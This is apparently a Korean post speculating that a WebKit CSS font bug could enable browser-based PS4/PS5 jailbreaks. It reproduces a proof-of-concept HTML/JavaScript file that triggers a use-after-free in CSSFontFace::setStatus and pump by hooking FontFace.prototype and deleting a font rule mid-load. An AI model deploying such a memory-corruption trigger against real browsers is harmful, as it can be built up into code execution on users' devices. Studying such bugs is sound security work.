PS4, PS5에 새로운 CSS글꼴 설정과 관련된 WebKit 버그가 있을 가능성이 있다고 합니다. 하지만 WebKit의 가능성일 뿐. 취약점을 활용한 공격은 실패로 끝나는 경우가 많다고 합니다. 이 문제는 실제로 PS4와 PS5에 영향을 미치는 것으로 보이지만.
만약 WebKit 취약점이 콘솔에서 작동하게 된다면 PS4 9.0 버전처럼 웹 브라우저를 이용하면 간단해집니다. POOPS 커널 익스플로잇을 사용해서 콘솔을 탈옥시킬 수 있을 겁니다. 웹브라우저의 방식의 다른 장점으로는 세이브 파일 변조나 백업 복원이 필요하지 않아서 가장 간단한 탈옥법이 될 겁니다.
이 취약점인 새로운 익스플로잇이 될지는 지켜봐야겠습니다. 물론 흐지부지 될 가능성도 있습니다.
Use-after-free in CSSFontFace::setStatus and CSSFontFace::pump
test.html
| <!DOCTYPE html> |
| <html> |
| <head> |
| <style id="s"> |
| @font-face { font-family: x; src: url(nonexistent-font.woff); unicode-range: U+0042; } |
| </style> |
| </head> |
| <body> |
| <script> |
| if (window.testRunner) { |
| testRunner.dumpAsText(); |
| testRunner.waitUntilDone(); |
| } |
| window.onload = () => { |
| let A = new FontFace('x', 'local(Helvetica)', { unicodeRange: 'U+0041' }); |
| document.fonts.add(A); |
| void A.loaded; |
| let fired = false; |
| Object.defineProperty(FontFace.prototype, 'then', { |
| configurable: true, |
| get() { |
| if (!fired && this === A) { |
| fired = true; |
| new FontFace('y', 'local(Helvetica Bold)', { unicodeRange: 'U+0041' }); |
| new FontFace('z', 'local(Helvetica Italic)', { unicodeRange: 'U+0041' }); |
| document.getElementById('s').sheet.deleteRule(0); |
| document.body.offsetTop; |
| } |
| return undefined; |
| } |
| }); |
| document.fonts.load('1em x', 'AB'); |
| setTimeout(() => { |
| if (window.testRunner) |
| testRunner.notifyDone(); |
| }, 0); |
| }; |
| </script> |
| </body> |
| </html> |
댓글
https://gist.github.com/ntfargo/3c6252a433b85a61685dbe223da27bba